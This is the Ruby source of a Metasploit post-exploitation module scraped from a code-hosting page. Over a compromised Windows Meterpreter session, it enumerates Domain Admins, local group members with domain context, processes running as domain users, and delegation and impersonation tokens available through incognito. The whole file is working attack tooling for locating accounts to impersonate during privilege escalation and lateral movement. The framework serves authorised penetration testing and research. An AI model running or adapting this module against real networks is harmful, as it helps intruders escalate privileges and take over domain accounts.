Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_domain_tokens.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Enumerate Domain Tokens',13'Description' => %q{14This module enumerates domain account tokens, processes running under15domain accounts, and domain users in the local Administrators, Users16and Backup Operator groups.17},18'License' => MSF_LICENSE,19'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],20'Platform' => [ 'win'],21'SessionTypes' => [ 'meterpreter' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'Reliability' => [],25'SideEffects' => []26},27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30incognito_list_tokens31stdapi_sys_config_getuid32]33}34}35)36)37end3839def run40hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']41print_status("Running module against #{hostname} (#{session.session_host})")4243domain = get_domain_name4445fail_with(Failure::Unknown, 'Could not retrieve domain name. Is the host part of a domain?') unless domain4647@domain_admins = get_members_from_group('Domain Admins', domain) || []4849print_error("Could not retrieve '#{domain}\\Domain Admins' group members.") if @domain_admins.blank?5051netbios_domain_name = domain.split('.').first.upcase5253uid = client.sys.config.getuid54if uid.starts_with?(netbios_domain_name)55user = uid.split('\\')[1]56print_good('Current session is running under a Domain Admin account') if @domain_admins.include?(user)57end5859if domain_controller?60if is_system?61print_good('Current session is running as SYSTEM on a domain controller')62elsif is_admin?63print_good('Current session is running under a Local Admin account on a domain controller')64else65print_status('This host is a domain controller')66end67else68if is_system?69print_good('Current session is running as SYSTEM')70elsif is_admin?71print_good('Current session is running under a Local Admin account')72end73print_status('This host is not a domain controller')7475list_group_members(netbios_domain_name)76end7778list_processes(netbios_domain_name)79list_tokens(netbios_domain_name)80end8182def list_group_members(domain)83tbl = Rex::Text::Table.new(84'Header' => 'Account in Local Groups with Domain Context',85'Indent' => 1,86'Columns' =>87[88'Local Group',89'Member',90'Domain Admin'91]92)9394print_status('Checking local groups for Domain Accounts and Groups')9596[97'Administrators',98'Backup Operators',99'Users'100].each do |group|101group_users = get_members_from_localgroup(group)102103next unless group_users104105vprint_status("Group '#{group}' members: #{group_users.join(', ')}")106107group_users.each do |group_user|108next unless group_user.include?(domain)109110user = group_user.split('\\')[1]111tbl << [group, group_user, @domain_admins.include?(user)]112end113end114115print_line("\n#{tbl}\n")116end117118def list_tokens(domain)119tbl = Rex::Text::Table.new(120'Header' => 'Impersonation Tokens with Domain Context',121'Indent' => 1,122'Columns' =>123[124'Token Type',125'Account Type',126'Account Name',127'Domain Admin'128]129)130print_status('Checking for Domain group and user tokens')131132user_tokens = client.incognito.incognito_list_tokens(0)133user_delegation = user_tokens['delegation'].split("\n")134user_impersonation = user_tokens['impersonation'].split("\n")135136user_delegation.each do |dt|137next unless dt.include?(domain)138139user = dt.split('\\')[1]140tbl << ['Delegation', 'User', dt, @domain_admins.include?(user)]141end142143user_impersonation.each do |dt|144next if dt == 'No tokens available'145next unless dt.include?(domain)146147user = dt.split('\\')[1]148tbl << ['Impersonation', 'User', dt, @domain_admins.include?(user)]149end150151group_tokens = client.incognito.incognito_list_tokens(1)152group_delegation = group_tokens['delegation'].split("\n")153group_impersonation = group_tokens['impersonation'].split("\n")154155group_delegation.each do |dt|156next unless dt.include?(domain)157158user = dt.split('\\')[1]159tbl << ['Delegation', 'Group', dt, @domain_admins.include?(user)]160end161162group_impersonation.each do |dt|163next if dt == 'No tokens available'164next unless dt.include?(domain)165166user = dt.split('\\')[1]167tbl << ['Impersonation', 'Group', dt, @domain_admins.include?(user)]168end169170if tbl.rows.empty?171print_status('No domain tokens available')172return173end174175print_line("\n#{tbl}\n")176end177178def list_processes(domain)179tbl = Rex::Text::Table.new(180'Header' => 'Processes under Domain Context',181'Indent' => 1,182'Columns' =>183[184'Process Name',185'PID',186'Arch',187'User',188'Domain Admin'189]190)191print_status('Checking for processes running under domain user')192client.sys.process.processes.each do |p|193next unless p['user'].include?(domain)194195user = p['user'].split('\\')[1]196tbl << [197p['name'],198p['pid'],199p['arch'],200p['user'],201@domain_admins.include?(user)202]203end204205if tbl.rows.empty?206print_status('No processes running as domain users')207return208end209210print_line("\n#{tbl}\n")211end212end213214215